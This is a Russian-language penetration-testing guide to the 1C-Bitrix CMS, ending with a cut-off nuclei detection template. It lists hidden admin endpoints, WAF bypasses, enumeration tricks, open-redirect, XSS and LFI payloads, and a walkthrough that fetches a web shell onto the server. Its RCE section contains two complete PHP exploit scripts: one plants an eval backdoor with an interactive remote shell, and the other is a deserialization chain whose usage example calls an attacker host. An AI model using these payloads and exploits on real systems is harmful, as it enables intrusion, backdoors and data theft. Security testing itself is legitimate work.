⚠ Важно: Все материалы предоставлены исключительно в образовательных целях. Использование этой информации без разрешения владельца системы незаконно. Автор не несёт ответственности за её неправомерное применение.
Вступление #
По тестированию битрикса накопилось настолько большое количество различных статей и заметок, что уже невозможно что-то не пропустить, не забыть или не потерять.
Особенно учитывая то, что старые видео, статьи и утилиты потихоньку удаляются и не всегда их удается успешно восстановить.
Поэтому я решил создать полный гайд по тестированию CMS Bitrix, который будет включать в себя максимум различных методов и техник, существующих на данный момент. (Если вдруг что-то упустил, пишите в Telegram).
Отмечу, что я не являюсь автором части контента в этой статье — я лишь собрал доступную информацию и дополнил её своими наработками. Все ссылки на источники будут в конце.
Основы битриксологии #
1С-Битрикс — одна из самых популярных (а вероятно, уже и самая популярная) CMS в СНГ. Жаль только, что дырявенькая.
Существует несколько редакций продукта:
- Старт
- Стандарт
- Малый бизнес
- Бизнес
- «1С-Битрикс24»
- Интернет-магазин + CRM
В основе всех редакций лежит единая кодовая база со стандартным набором функций, которая впоследствии просто обрастает дополнительными модулями и компонентами. Меняется лишь название и появляется новый функционал — естественно, за ваши деньги.
Для нас это означает важный момент: если уязвимость найдена в редакции “Старт”, она с высокой вероятностью будет работать вплоть до “Бизнеса”. Это правило действует и для CRM, хотя там, в силу специфики продукта, обычно требуется наличие пользователя (хотя бы с минимальными правами) — за редкими исключениями.
Отдельно стоит упомянуть BitrixVM — преднастроенную виртуальную машину с автоматическим инсталлятором любой Отдельно стоит упомянуть BitrixVM — преднастроенную виртуальную машину с автоматическим инсталлятором любой из редакций на выбор, и которая имеет свой взгляд на безопасность и стабильность системы. В некоторых случаях это меняет тактику атаки на приложение, хотя в целом принципы тестирования не сильно отличаются от self-hosted версий.
Встроенный WAF #
У битрикса есть собственный проактивный фильтр (WAF), который обладает довольно хорошей фильтрацией и обеспечивает защиту от большинства известных атак на веб-приложение.
Весь user-input проходит через множество рекурсивных фильтров, призванных бороться с различными видами уязвимостей (XSS, LFI, SQLi). Т.е., в свою очередь, помимо банального матчинга, ещё производят обратное преобразование сущностей, нормализацию, декодирование и много чего ещё. Здесь, нужно отдать должное, модуль security сильно затрудняет эксплуатацию. А иногда, вообще, режет хорошие уязвимости на корню
Главный минус (а для кого-то и плюс) в том, что WAF работает не везде. Это открывает возможности для обхода защиты, о чём мы подробнее поговорим дальше.
Многосайтовость #
Один программный комплекс, может быть настроен для работы с несколькими доменами и поддоменами. Которые чаще всего размещаются в отдельных директориях:
/var/www/html/ = site
/var/www/html/subdomain/ = subdomain.site
И часть структуры битрикса в них просто линкуется симлинками:
В связи с этим, иной раз, получаем обход:
http://site/bitrix/admin/ - 403
http://subdomain.site/bitrix/admin/ - 403
http://site/subdomain/bitrix/admin/ - 200
Теперь рассмотрим основные приёмы.
Определение версии #
К сожалению, точного метода определить версию и редакцию 1С-Битрикс снаружи не существует. Приходится опираться на косвенные признаки. Как пример:
- Наличие/отсутствие специфичных модулей и компонентов
- Уникальные пути к файлам статики
- Особенности поведения, характерные для определённой кодовой базы
- Год в эндпоинтах административной панели
2021 => '/bitrix/js/ui/vue/vue2/dev/src/bitrixvue.js',
2020 => '/bitrix/js/main/parambag/bundle.config.js',
2019 => '/bitrix/js/main/md5/bundle.config.js',
2018 => '/bitrix/js/main/gridtile/gridtile.min.js',
2017 => '/bitrix/js/main/recorder/encoder.js',
2018 => '/bitrix/js/main/pin/pin.js',
2019 => '/bitrix/js/main/usertype.js',
2018 => '/bitrix/js/main/core/core_webrtc.js',
2017 => '/bitrix/js/main/core/core_admin_interface.js',
2016 => '/bitrix/js/main/jquery/jquery-1.7.js',
2015 => '/bitrix/js/main/rating_like.js',
2016 => '/bitrix/js/main/utils.js'
Множественные эндпоинты для авторизации #
Видите форму авторизации? Нет? Вот и я не вижу. А она есть.
Существует множество отдельных сценариев где проверяется доступ. Обычно, за это отвечает скрипт prolog_admin_before.php
. В любом месте, где он будет подключен, мы получим форму авторизации. С возможностью использовать пары логина и пароля в
системе, которые будут обработаны движком.
Беда сей фичи в том, что многие администраторы закрывают правилами веб-сервера доступ к /bitrix/admin/:
Но не знают (забывают), что у атакующего полно мест для входа:
/bitrix/admin/
/%62%69%74%72%69%78/./%61%64%6d%69%6e/index.php
/bitrix/components/bitrix/desktop/admin_settings.php
/bitrix/components/bitrix/map.yandex.search/settings/settings.php
/bitrix/components/bitrix/player/player_playlist_edit.php
/bitrix/tools/autosave.php
/bitrix/tools/get_catalog_menu.php
/bitrix/tools/upload.php
/bitrix/tools/catalog_export/yandex_detail.php
/bitrix/tools/sale/discount_reindex.php
/bitrix/tools/sale/basket_discount_convert.php
/bitrix/tools/seo_page_parser.php
/bitrix/tools/seo_google.php
/bitrix/tools/seo_yandex_direct.php
/bitrix/tools/seo_yandex.php
/bitrix/tools/clock_selector.php
/bitrix/modules/forum/install/admin/forum_index.php
/bitrix/modules/subscribe/public/subscr_edit.php
/bitrix/admin/main_controller.php
/bitrix/admin/php_command_line.php
/bitrix/components/bitrix/map.yandex.view/settings/settings.php
/bitrix/components/bitrix/map.google.view/settings/settings.php
/bitrix/components/bitrix/map.google.search/settings/settings.php
/bitrix/services/mobileapp/jn.php
/randombullchitgo/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/
Причем на /bitrix/services/mobileapp/jn.php
нет рейтлимитов. Можно спокойно брутить.
Кстати, в PHP точки, пробелы и [
в именах запросов автоматически переименовываются в нижнее подчеркивание. А “+” в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.
Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:
Если сделать вот так:
/randombullchitgo/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/
/randombullchitgo/?SEF`.`APPLICATION%20CUR+PAGE[URL=/bitrix/admin/
То получим ещё эндпоинты для авторизации.
И, конечно, процесc поиска админок можно автоматизировать:
dirsearch -u "https://TARGET.com/bitrix/" -e php -w ~/bitrix-wordlist.txt --full-url --include-extensions=php --force-extensions -r -R 3 --filter "Status: 200" --filter "Size: >0" --filter-regex "Зарегистрироваться"
dirsearch -u "https://TARGET.com/bitrix/" -e php -w ~/bitrix-wordlist.txt --full-url --include-extensions=php --force-extensions -r -R 3 --filter "Status: 200" --filter "Size: >0" --filter-regex "Регистрация"
Лайфхак через burp #
Когда нужно массово проверить множество URL-адресов в Bitrix, а вручную кодировать каждый в URL-encode лень, можно настроить Burp Suite на автоматическую подмену строк.
-
Переходим во вкладку Proxy → Proxy Settings
-
Внизу находим раздел Match and Replace Rules
-
Добавляем два новых правила:
Правило 1:
- Match: bitrix
- Replace:
%62%69%74%72%69%78/.
(не забываем слеш /. в конце!) - ✅ Regex
Правило 2:
- Match: admin
- Replace:
%61%64%6d%69%6e
- ✅ Regex
Не забудьте про галочки напротив “Regex”.
Подробнее тут
Интересные эндпоинты #
Некоторые эндпоинты Битрикс могут раскрывать внутреннюю структуру сервера, пути к файлам, версии модулей и другую техническую информацию. Вот список таких эндпоинтов:
/bitrix/tools/composite_data.php
/bitrix/components/bitrix/main.numerator.edit.sequence/slider.php
/bitrix/services/main/ajax.php
/bitrix/services/mobileapp/jn.php
/bitrix/modules/main/admin/php_command_line.php
/?USER_FIELD_MANAGER=1
/bitrix/admin/restore_export.php
/bitrix/admin/tools_index.php
/bitrix/bitrix.php
/bitrix/modules/main/ajax_tools.php
/bitrix/php_interface/after_connect_d7.php
/bitrix/themes/.default/.description.php /bitrix/components/bitrix/main.ui.selector/templates/.default/template.php
/bitrix/components/bitrix/forum.user.profile.edit/templates/.default/interface.php
/bitrix/wizards/bitrix/demo/public_files/ru/personal/desktop.php
/bitrix/php_interface/dbquery_error.php
/bitrix/templates/.default/subscribe/subscr_form.php
Content Spoofing #
Обычная reflected подмена контента, можно поискать только для того, чтобы похвастаться своей анимешной гифкой на чужом сайте или добавить +1 low багу в отчет по пентесту. Дальше это никак не раскрутить.
/bitrix/components/bitrix/mobileapp.list/ajax.php?items[1][TITLE]=TEXT+INJECTION!+PLEASE+CLICK+HERE!&items[1][DETAIL_LINK]=http://google.com
/bitrix/tools/imagepg.php?img=//ceblog.s3.amazonaws.com/wp-content/uploads/2016/04/22110359/youve-been-hacked.png
/bitrix/templates/learning/js/swfpg.php?img=//evil.host/evil.swf
Account Enumeration #
По умолчанию, мы не можем где-то посмотреть список логинов пользователей. Но используя этот недочет, можно пройтись по словарю и попробовать подобрать их.
Так, при запросе валидного логина, в ответе приложения будет содержаться строка BITRIX_SM_UIDH=deleted
:
GET /bitrix/tools/upload.php HTTP/1.1
Host: bitrix
User-Agent: Mozilla/5.0
Cookie: BITRIX_SM_UIDL=admin; BITRIX_SM_UIDH=1;
В случае, если это не сработало, почти во всех версиях битрикса можно в тупую перебирать пользаков через форму смены пароля.
/bitrix/admin/index.php#change_password
В случае, если пользователь существует, изменится ошибка.
Non-legitimate registration #
В панель администратора битрикс иногда можно зайти просто зарегистрировавшись. У многих правда кнопка регистрации вовсе отсутствует, но это не мешает нам вызывать стандартные формы.
/auth/?register=yes
/crm/?register=yes
/auth/oauth2/?register=yes
/bitrix/wizards/bitrix/demo/public_files/ru/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/public_files/en/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/en/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/en/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/subscr_edit.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/en/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/board/my/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/en/board/my/index.php?register=yes
/bitrix/wizards/bitrix/demo/indexes/ru/cancel/?register=yes
/bitrix/wizards/bitrix/demo/indexes/en/cancel/?register=yes
Наличие форм, кстати, тоже не обязательно, достаточно разгадать капчу (если она вообще есть) и отправить POST-запрос на регу.
После регистрации (получив валидный сессионный идентификатор), можно побрутить директорию /bitrix/
Open Redirect #
Не знаю, по какой причине redirect.php вообще не выпили из продукта, но я особо и не спрашиваю.
/bitrix/redirect.php?goto=https://TARGET%252F:123@google.com/
/bitrix/rk.php?goto=https://TARGET%252F:123@google.com/
/bitrix/tools/track_mail_click.php?url=http://site%252F@google.com/
/bitrix/redirect.php?goto=https://TARGET.com%252F:123@google.com/
Работает преимущественно на старых версиях битрикса, но даже в случае успеха, вероятно, вы получите предупреждение.
XSS уязвимости #
Банальный XSS, можно атаковать аутентифицированных пользователей.
/bitrix/components/bitrix/map.google.view/settings/settings.php?arParams[API_KEY]=123'-'%00'-alert(document.domain)-'
/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00'}};alert(document.domain);if(1){//
/waf-bypass.php?page=BYPASS%00")});alert(1);$(document).ready(function%20(){%2f%2f
/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};top[%27a%27%2B%27lert%27](document.domain);if(1){//
/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//
SSRF #
Маршрут /bitrix/wizards/bitrix/demo/public_files/ru/personal/desktop.php
иногда ведёт к персональному рабочему столу. В нём можно добавлять свои Заметки, ссылки и пр. И среди всего этого интересным элементом является «RSS лента», так как именно через неё и можно сделать SSRF:
- Раскрываем виджет.
- Вставляем нужной адрес в «Ссылку на RSS ленту».
- Нажимаем «ОК» и ждём отстуков на коллаборатор.
LFI #
Можем читать содержимое внутренних файлов сервера, но, как правило, только в рамках директории с установленным битриксом. /bitrix/*
/.htaccess/randombullchitgo/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////x/..
/.htaccess/randombullchitgo/../../../""""""""""""""""""""""""""""""/../bitrix/""""""""""""""""""""""""""""""/../virtual_file_system.php/""""""""""""""""""""""""""""""/../x/..
PoC:
curl --path-as-is 'https://TARGET/.htaccess/«/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////»/%2E%2E'
or
curl -i -s -k -X $'GET' \
-H $'Host: https://TARGET' -H $'User-Agent: huitrix/1.11.1' -H $'Accept: */*' \
$'https://TARGET/.htaccess/%c2%ab/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////%c2%bb/%2E%2E'
RCE #
RCE vote_agent.php (CVE-2022-27228) #
Описание уязвимости #
Уязвимость заключается в некорректной обработке пользовательских данных в POST запросе. Демоверсия «1C Bitrix Управление сайтом» была взята с официального сайта. Версия на рисунке 1. Версия Main модуля – 21.400.100.
Описание атаки.
- Получить параметр sessid и cookie PHPSESSID. Это можно сделать через админ. панель по адресу /bitrix/admin.
- Выполнить POST запрос с рисунка ниже.
POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
Host: <>
Content-Length: 944
Cache-Control: max-age=0
Cookie: PHPSESSID=<>
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]"
file_put_contents("<путь до корневой директории сервера>/shell.php", fopen("https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php", "r"));
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]";filename="image.jpg"
Content-Type: image/jpeg
123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"
pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"
upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"
<>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"
1
-----------------------------xxxxxxxxxxxx--
- Открыть лист агентов и зафиксировать полезную нагрузку под ID 2
- Выполнить POST запрос, сменив параметр NAME на параметр NEXT_EXEC и полезную нагрузку на дату и время, установленные на сервере с опережением в одну минуту
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]"
<Дата и время>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]";filename="image.jpg"
Content-Type: image/jpeg
123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"
pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"
upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"
ee8dbbe0d21ce5fbb66ee1047c666f6c
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"
1
-----------------------------xxxxxxxxxxxx--
- Зафиксировать появление файла shell.php в корневой директории сервера
- Перейти по адресу /shell.php для подтверждения доступа к нему
Условия для эксплуатации:
- Существует хотя бы один агент на сервере.
- Известна дата/время, установленные на сервере, в том числе и часовой пояс.
- Доступ к файлу uf.php
- Все поля агента возможно поменять, что делает возможным его полную модификацию для исполнения атаки
Эксплуатация данной уязвимости приводит к исполнению произвольного кода PHP, из чего возможно построение дальнейшего вектора атаки на сервер, вплоть до исполнения кода командной оболочки ОС, например, через функцию system()
Уязвимость эксплуатируется за счет использования Arbitrary Object Instantiation из публикации «Уязвимости и атаки на CMS Bitrix» by https://t.me/webpwn. Из-за хеширования значения первого аргумента в этой атаке нет возможности передать свой аргумент напрямую в метод CControllerClient::RunCommand($command, $oRequest, $oResponse)
. Поэтому был выбран путь эксплуатации через агенты Bitrix.
Агент – периодичная задача, в которой указан метод для выполнения с интервалом времени. С помощью метода CAllAgent::Update($ID, $arFields)
можно обновить существующую запись о агенте. Первый аргумент данного метода – ID в таблице существующих агентов из БД и он является целым числом. Возникает проблема: перевод MD5 digest строки в целое число. Она решена самим исходным кодом Bitrix
Данная операция делает предельно простую вещь – переводит один тип данных в целое число, в том числе и строку. Функция intval() со строковым типом данных переводит в число, записывая первые десятеричные символы строки в число, а встречая недесятиричный символ – прекращает запись в число.
Символ «e» интерпретируется как экспонента, поэтому последняя строка перевелась в число «100» Следовательно, если подобрать такую строку, чей MD5 хеш будет начинаться с числа, то данный хэш будет переведен в число. Это число – ID в таблице, что позволит менять параметры агента.
Запись об агенте состоит из следующих данных
Название вызываемого метода находится в поле NAME в формате Class::Method($args)
. Активный метод имеет символ “Y” в поле ACTIVE. MODULE_ID – название модуля, в котором находится метод. Интересуемый метод находится в модуле main. Время следующего запуска – NEXT_EXEC в формате «DD.MM.YYYY HH:MM:SS»
Поэтому нужно выполнить следующее:
- Подобрать нужный MD5 хэш, который будет иметь маленькое число в начале строки хэша. Например,
md5(‘bitrix50’) = ‘2cff0d1f456cf0ac11a6d49e5cce8f3b’
, что даст число 2. Эти строки возможно будет перебрать, так как не будет правильно угадан ID записи об агенте. - Узнать дату и время, установленные на сервере. Это можно сделать с помощью phpinfo() или сам сервер в заголовках сообщит их.
- Изменить NAME на полезную нагрузку
CControllerClient::RunCommand('','','')
; - С помощью запросов из PoC поменять дату, время, модуль и активность на необходимые.
- При достижении установленного времени – зайти на любую страницу, таким образом агент будет исполнен.
Эксплоит #
RCE эксплойт на Bitrix <= 21.400.100 Standart <= Business | CRM (any user)
php vote_agent.php https://target.com/
<?php
message('Bitrix Pre-Auth Remote Code Execution via Arbitrary Object Instantiation');
message('Affected versions: <= 21.400.100 [ Standart <= Business | CRM (any user) ]');
(!isset($argv[1]) ? exit(message('php '.basename(__FILE__).' https://target-bitrix.com')) : @list($x, $url, $id) = $argv);
message('Target: '.$url);
# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);
# update the agent
$body = implode("\r\n", [
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][default]"; filename="image.jpg"',
'Content-Type: image/jpeg',
'',
str_repeat(' ', 1234),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][IS_PERIOD]"',
'',
'Y',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][RETRY_COUNT]"',
'',
'0',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][AGENT_INTERVAL]"',
'',
'0',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][MODULE_ID]"',
'',
'main',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][ACTIVE]"',
'',
'Y',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][NAME]"',
'',
furl(agent($id)),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
'',
'pIndex101',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[mode]"',
'',
'upload',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="sessid"',
'',
$matches[2],
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[filesCount]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx--'
]);
if(!strpos(request($url.'/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'), '$arAgent')) exit(message('Fail. Agent update problems.'));
message('Injected PHP code: '.PHP_EOL.payload());
message('Sleeping 60 seconds for the agent activation.'); xsleep(60);
message('Now you can use the "bitrixxx" request param or use this console.');
message('Then done, type "EXIT" to restore the agent.');
do {
$code = trim(readline('php > '));
readline_add_history($code);
if($code != 'EXIT')
message(substr(strstr(request($url.'/', $matches[1], 'bitrixxx='.furl(furl('print "~~~";'.$code))), '~~~'), 3));
else
break;
} while(1);
# restore the agent
request($url, $matches[1], 'restorexxx=1');
message('Agent restored.');
message('Bye.');
function request($url, $cookie = '', $post = '', $header = []){
$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));
$body = @file_get_contents($url, false, stream_context_create(
['ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
'http' =>
[ 'timeout' => 10,
'method' => ($post ? 'POST' : 'GET'),
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' => implode("\r\n", $header),
'content' => ($post ? $post : '')
]
])
);
$header = implode(PHP_EOL, $http_response_header);
return $header.PHP_EOL.PHP_EOL.$body;
}
function agent($id = 1){
return '$arAgent["NAME"];'.t('eval(urldecode(strrev(\''.strrev(furl('
'.payload().'
return true;')).'\')));');
}
function payload(){
return '
if(isset($_REQUEST["bitrixxx"])){
$DB->Query("UPDATE b_agent SET DATE_CHECK = NULL, RETRY_COUNT = 0, RUNNING = \'N\' WHERE ID = 1");
try{
$e = eval(urldecode(urldecode($_REQUEST["bitrixxx"])));
}
catch (Exception $e){
exit;
}
}
else{
$r = \'\\\\Bitrix\\\\Main\\\\Analytics\\\\CounterDataTable::submitData();\';
if(isset($_REQUEST["restorexxx"])){
$DB->Query("UPDATE b_agent SET AGENT_INTERVAL = 60, IS_PERIOD = \'N\' WHERE ID = 1");
$eval_result = $r;
}
else
eval($r);
}';
}
function index($id){
return 'dd';
}
function furl($str){
return '%'.implode('%', str_split(bin2hex($str), 2));
}
function j(){
$l = rand(10, 50);
while(!isset($c[$l])) @$c .= chr(rand(32, 126));
if(rand(0, 1))
return (rand(0, 1) ? "#".chr(rand(32, 90)) : "//").str_replace("?>", "", $c).(rand(0, 1) ? "\r" : "\n");
else
return (rand(0, 1) ? "/*".str_replace("*/","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}
function xsleep($t){
$s = 0;
do{
print '-';
sleep(1);
$s++;
} while($s < $t);
print PHP_EOL;
}
function t($s){
foreach(token_get_all('<?php '.$s) as $t)
@$r .= (is_array($t) ? $t[1] : $t).j();
return j().substr($r, 5);
}
function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
https://helpdesk.bitrix24.com/open/15536776/
RCE html_editor_action.php #
RCE эксплойт на Bitrix <= 20.100.0
php html_editor_action.php "https://target-bitrix.com" "system" "curl http://attacker-host.com/"
<?php
# <= 20.100.0 [ Start <= Business | CRM (any user) ]
(!isset($argv[3]) ? exit(message('php '.basename(__FILE__).' "https://target-bitrix.com" "system" "curl http://attacker.com/"')) : @list($x, $url, $func, $farg) = $argv);
# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);
# upload default
$body = implode("\r\n", [
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files[.][files][code]"',
'',
'default',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files[.][default]"; filename="image.jpg"',
'Content-Type: image/jpeg',
'',
payload($func, $farg),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[CID]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
'',
'pIndex101',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[mode]"',
'',
'upload',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="action"',
'',
'uploadfile',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="sessid"',
'',
$matches[2],
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[filesCount]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx--'
]);
request($url.'/bitrix/tools/html_editor_action.php', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx');
# exec default
message(request($url.'/bitrix/tools/html_editor_action.php', $matches[1], 'bxu_info[packageIndex]=pIndex101&action=uploadfile&bxu_info[mode]=upload&sessid='.$matches[2].'&bxu_info[filesCount]=1&bxu_info[CID]=default%00'));
function request($url, $cookie = '', $post = '', $header = []){
$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));
$body = @file_get_contents($url, false, stream_context_create(
['ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
'http' =>
['method' => ($post ? 'POST' : 'GET'),
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' => implode("\r\n", $header),
'content' => ($post ? $post : '')
]
])
);
$header = implode(PHP_EOL, $http_response_header);
return $header.PHP_EOL.PHP_EOL.$body;
}
function payload($func, $farg){
return 'O:27:"Bitrix\Main\ORM\Data\Result":3:{S:12:"\00*\00isSuccess";b:0;S:20:"\00*\00wereErrorsChecked";b:0;S:9:"\00*\00errors";O:27:"Bitrix\Main\Type\Dictionary":1:{S:9:"\00*\00values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{S:10:"\00*\00message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{S:13:"\00*\00attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{S:38:"\00Bitrix\5CMain\5CDB\5CResultIterator\00counter";i:0;S:42:"\00Bitrix\5CMain\5CDB\5CResultIterator\00currentData";i:0;S:37:"\00Bitrix\5CMain\5CDB\5CResultIterator\00result";O:26:"Bitrix\Main\DB\ArrayResult":2:{S:11:"\00*\00resource";a:1:{i:0;a:2:{i:0;S:'.strlen($farg).':"\\'.implode('\\', str_split(bin2hex($farg), 2)).'";i:1;s:1:"x";}}S:13:"\00*\00converters";a:2:{i:0;S:'.strlen($func).':"\\'.implode('\\', str_split(bin2hex($func), 2)).'";i:1;s:17:"WriteFinalMessage";}}}}}}}}';
}
function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
?>
RCE Landing #
Уязвимость модуля landing системы управления содержимым сайтов (CMS) 1С-Битрикс: Управление сайтом вызвана ошибками синхронизации при использовании общего ресурса. Эксплуатация уязвимости может позволить нарушителю, действующему удалённо, выполнить команды ОС на уязвимом узле, получить контроль над ресурсами и проникнуть во внутреннюю сеть
Если коротко, то там хитровымудренный Race Condition to RCE. Эксплоит не дам :)
Можете скачать уязвимую версию и версию после патча, чтобы найти и проанализировать изменения.
- https://www.bitrix24.ru/features/box/box-versions.php?module=landing
- https://dev.1c-bitrix.ru/docs/versions.php?lang=ru&module=landing
Также можете проверить сайт на наличие уязвимости этим шаблоном nuclei.
id: bitrix-landing-rce
info:
name: Bitrix Landing module RCE version based detection
author: JhonnyBonny
severity: Critical
description: A vulnerability in the landing module of the 1C-Bitrix Site Management content management system (CMS) is caused by synchronization errors when using a shared resource. Exploitation of the vulnerability can allow a remote attacker to execute OS commands on the vulnerable host, gain control over resources or gain access to internal network.
reference:
- https://bdu.fstec.ru/vul/2023-05857
- https://www.bitrix24.com/features/box/box-versions.php?module=landing
tags: bitrix,rce
metadata:
max-request: 3
http:
- method: GET
path:
- "{{BaseURL}}/bitrix/components/bitrix/landing.sites/templates/.default/style.css"
- "{{BaseURL}}/components/bitrix/landing.sites/templates/.default/style.css"
- "{{BaseURL}}/bx/components/bitrix/landing.sites/templates/.default/style.css"
host-redirects: true
stop-at-first-match: true
max-redirects: 3
matchers-condition: or
matchers:
- type: dsl
name: "landing (23.700.100) June 14, 2023"
dsl:
- "status_code==200 && (\"add1ed2596798ec254ba13abff931547\" == md5(body))"
- type: dsl
name: "landing (22.200.0) August 8, 2022"
dsl:
- "status_code==200 && (\"9fbebe45f8d33fa108dfb947d0fb4656\" == md5(body))"
- type: dsl
name: "landing (22.100.0) July 5, 2022"
dsl:
